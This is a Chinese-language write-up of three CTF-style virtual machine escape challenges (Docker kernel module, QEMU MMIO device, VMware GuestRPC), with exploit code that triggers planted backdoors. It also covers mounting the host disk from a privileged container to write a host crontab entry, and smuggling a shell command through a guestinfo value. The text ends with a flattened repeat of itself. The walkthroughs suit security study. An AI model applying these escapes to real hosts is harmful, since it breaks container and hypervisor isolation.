从0到1的虚拟机逃逸三部曲
字数 1673 2025-08-24 16:48:07

虚拟机逃逸技术从入门到实践

一、Docker逃逸技术

1. 漏洞分析

该Docker逃逸题目提供了一个有漏洞的内核模块de.ko,主要漏洞存在于以下关键函数中:

  1. 初始化函数 init_module:

    • 在bss段的hack上分配了一个堆
    • 设置*(hack1 + 8) = 1
    • 打印cred结构体的大小信息
  2. 读函数 de_read:

    • *((_QWORD *)&note + 1)指针的内容拷贝给用户
    • 实际会分配内存
  3. 写函数 de_write:

    • 根据输入的第一个字节进行switch case判断
    • -1(0xFF): 将用户输入拷贝到(&note+1)
    • -2(0xFE): 将用户输入拷贝到hack(可覆盖hack+8处的值)
    • -3(0xFD)且(hack+8)==0: 执行后门代码(弹计算器)
    • 其他情况: 为(&note+1)分配指定大小的内存
    • 0: 释放*(&note+1)

2. 漏洞利用

利用步骤:

  1. 使用-2(0xFE)操作清空hack+8的值
  2. 使用-3(0xFD)操作触发后门
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
    int fd = open("/proc/de", 2);
    char *user_buf = (char *)malloc(0x10 * sizeof(char));
    
    user_buf[0] = '\xfe';  // 清空hack+8的值
    write(fd, user_buf, 0x10);
    
    user_buf[0] = '\xfd';  // 触发后门
    write(fd, user_buf, 0x1);
    
    return 0;
}

3. 调试方法

  1. 在虚拟机中加载漏洞内核模块并启动docker:
sudo insmod /home/b/de.ko
sudo docker run -itd --privileged -p 0.0.0.0:23:22 d77241e92fe6 /bin/bash -c "/etc/init.d/ssh start;/bin/bash"
  1. 使用QEMU调试内核:
qemu-system-x86_64 \
    -m 256M \
    -kernel ./vmlinuz-4.15.0-54-generic \
    -initrd ./initramfs.img \
    -append "noexec rdinit=./linuxrc" \
    -gdb tcp::1234
  1. GDB调试命令:
set arch i386:x86-64:intel
target remote localhost:1234
add-symbol-file ./de.ko 0xffffffffc03b0000

4. 非预期解

--privileged模式下,可以直接挂载宿主机磁盘:

mkdir /host
mount /dev/sda1 /host

然后修改宿主机定时任务:

echo "* * * * * b DISPLAY=:0 /usr/bin/gnome-calculator" >> /host/etc/crontab

二、QEMU逃逸技术

1. 基础知识

QEMU设备模拟通过以下关键函数实现:

  • rfid_class_init: 设备类初始化函数
  • pci_rfid_realize: 设备实例化函数
  • rfid_mmio_ops: 包含读写操作的结构体
    • rfid_mmio_read: 读操作函数
    • rfid_mmio_write: 写操作函数

2. 漏洞分析

  1. 读函数 rfid_mmio_read:

    • 检查((addr >> 20) & 0xF) != 15
    • 比较inputoff_10CC100(固定字符串"wwssadadBABA")
    • 匹配则执行system(command)
  2. 写函数 rfid_mmio_write:

    • 根据(addr >> 20) & 0xF的值执行不同操作
    • 0-5: 设置input的不同字符(w,s,a,d,A,B)
    • 6: 向command写入数据

3. 漏洞利用

利用步骤:

  1. 使用操作6设置command为"gnome-calculator"
  2. 使用操作0-5设置input为"wwssadadBABA"
  3. 触发读操作执行命令
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>

unsigned char *mmio_mem;

void mmio_write(uint64_t choice, uint64_t idx, uint64_t chr) {
    uint64_t addr = ((choice & 0xf) << 20);
    addr += ((idx & 0xf) << 16);
    *((uint64_t *)(mmio_mem + addr)) = chr;
}

int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    // 设置command为"gnome-calculator"
    mmio_write(6, 0, 0x67);  // g
    mmio_write(6, 1, 0x6e);  // n
    mmio_write(6, 2, 0x6f);  // o
    mmio_write(6, 3, 0x6d);  // m
    mmio_write(6, 4, 0x65);  // e
    mmio_write(6, 5, 0x2d);  // -
    mmio_write(6, 6, 0x63);  // c
    mmio_write(6, 7, 0x61);  // a
    mmio_write(6, 8, 0x6c);  // l
    mmio_write(6, 9, 0x63);  // c
    mmio_write(6,10, 0x75);  // u
    mmio_write(6,11, 0x6c);  // l
    mmio_write(6,12, 0x61);  // a
    mmio_write(6,13, 0x74);  // t
    mmio_write(6,14, 0x6f);  // o
    mmio_write(6,15, 0x72);  // r

    // 设置input为"wwssadadBABA"
    mmio_write(0, 0, 0);  // w
    mmio_write(0, 1, 0);  // w
    mmio_write(1, 2, 0);  // s
    mmio_write(1, 3, 0);  // s
    mmio_write(2, 4, 0);  // a
    mmio_write(3, 5, 0);  // d
    mmio_write(2, 6, 0);  // a
    mmio_write(3, 7, 0);  // d
    mmio_write(5, 8, 0);  // B
    mmio_write(4, 9, 0);  // A
    mmio_write(5,10, 0);  // B
    mmio_write(4,11, 0);  // A

    return 0;
}

三、VMWare Workstation逃逸

1. 基础知识

VMWare提供两种通信机制:

  1. Backdoor接口:

    • 使用IN/OUT特权指令
    • 用户态即可使用
    • 示例代码:
      unsigned GetMousePos() {
          asm {
              mov eax, 564D5868h
              mov ecx, 4
              mov edx, 5658h
              in eax, dx
              ret
          }
      }
      
  2. GuestRPC机制:

    • 完整的RPC请求序列:
      1. 打开通道
      2. 发送命令长度
      3. 发送命令数据
      4. 接收回复大小
      5. 接收回复数据
      6. 结束接收信号
      7. 关闭通道

2. 漏洞分析

通过对比patch文件发现关键修改:

  • 在RPC处理函数中增加了system()调用后门
  • subcommand=0x4(Receive reply data)且满足特定条件时触发

触发条件:

  1. 发送的命令长度为4的整数倍
  2. 最终余数为3时触发后门

3. 漏洞利用

利用步骤:

  1. 使用info-set设置guestinfo.b并附加要执行的命令
  2. 使用info-get获取guestinfo.b触发后门
void exploit() {
    char *s1 = "info-set guestinfo.b ;/usr/bin/xcalc &";
    char *s2 = "info-get guestinfo.b";
    
    run_cmd(s1);
    run_cmd(s2);
}

4. RPC函数实现

关键RPC操作函数:

// 打开通道
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res);

// 设置长度
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res);

// 发送数据
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res);

// 接收回复长度
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res);

// 接收数据
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res);

// 结束接收
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res);

// 关闭通道
void channel_close(int cookie1, int cookie2, int channel_num, int *res);

四、总结

  1. Docker逃逸:

    • 利用有漏洞的内核模块
    • 通过覆盖关键标志位触发后门
    • 特权模式下可直接挂载宿主机文件系统
  2. QEMU逃逸:

    • 分析模拟设备的MMIO操作
    • 通过正确设置输入触发命令执行
  3. VMWare逃逸:

    • 利用Backdoor和GuestRPC机制
    • 通过特定长度的RPC请求触发后门
    • 需要精确控制数据长度和内容

这些技术展示了从虚拟机内部突破到宿主机的多种方法,对于理解虚拟化安全具有重要意义。

虚拟机逃逸技术从入门到实践 一、Docker逃逸技术 1. 漏洞分析 该Docker逃逸题目提供了一个有漏洞的内核模块 de.ko ,主要漏洞存在于以下关键函数中: 初始化函数 init_module : 在bss段的 hack 上分配了一个堆 设置 *(hack1 + 8) = 1 打印cred结构体的大小信息 读函数 de_read : 将 *((_QWORD *)&note + 1) 指针的内容拷贝给用户 实际会分配内存 写函数 de_write : 根据输入的第一个字节进行switch case判断 -1 (0xFF): 将用户输入拷贝到 (&note+1) -2 (0xFE): 将用户输入拷贝到 hack (可覆盖 hack+8 处的值) -3 (0xFD)且 (hack+8)==0 : 执行后门代码(弹计算器) 其他情况: 为 (&note+1) 分配指定大小的内存 0 : 释放 *(&note+1) 2. 漏洞利用 利用步骤: 使用 -2 (0xFE)操作清空 hack+8 的值 使用 -3 (0xFD)操作触发后门 3. 调试方法 在虚拟机中加载漏洞内核模块并启动docker: 使用QEMU调试内核: GDB调试命令: 4. 非预期解 在 --privileged 模式下,可以直接挂载宿主机磁盘: 然后修改宿主机定时任务: 二、QEMU逃逸技术 1. 基础知识 QEMU设备模拟通过以下关键函数实现: rfid_class_init : 设备类初始化函数 pci_rfid_realize : 设备实例化函数 rfid_mmio_ops : 包含读写操作的结构体 rfid_mmio_read : 读操作函数 rfid_mmio_write : 写操作函数 2. 漏洞分析 读函数 rfid_mmio_read : 检查 ((addr >> 20) & 0xF) != 15 比较 input 和 off_10CC100 (固定字符串"wwssadadBABA") 匹配则执行 system(command) 写函数 rfid_mmio_write : 根据 (addr >> 20) & 0xF 的值执行不同操作 0-5: 设置 input 的不同字符(w,s,a,d,A,B) 6: 向 command 写入数据 3. 漏洞利用 利用步骤: 使用操作6设置 command 为"gnome-calculator" 使用操作0-5设置 input 为"wwssadadBABA" 触发读操作执行命令 三、VMWare Workstation逃逸 1. 基础知识 VMWare提供两种通信机制: Backdoor接口 : 使用IN/OUT特权指令 用户态即可使用 示例代码: GuestRPC机制 : 完整的RPC请求序列: 打开通道 发送命令长度 发送命令数据 接收回复大小 接收回复数据 结束接收信号 关闭通道 2. 漏洞分析 通过对比patch文件发现关键修改: 在RPC处理函数中增加了 system() 调用后门 当 subcommand=0x4 (Receive reply data)且满足特定条件时触发 触发条件: 发送的命令长度为4的整数倍 最终余数为3时触发后门 3. 漏洞利用 利用步骤: 使用 info-set 设置guestinfo.b并附加要执行的命令 使用 info-get 获取guestinfo.b触发后门 4. RPC函数实现 关键RPC操作函数: 四、总结 Docker逃逸 : 利用有漏洞的内核模块 通过覆盖关键标志位触发后门 特权模式下可直接挂载宿主机文件系统 QEMU逃逸 : 分析模拟设备的MMIO操作 通过正确设置输入触发命令执行 VMWare逃逸 : 利用Backdoor和GuestRPC机制 通过特定长度的RPC请求触发后门 需要精确控制数据长度和内容 这些技术展示了从虚拟机内部突破到宿主机的多种方法,对于理解虚拟化安全具有重要意义。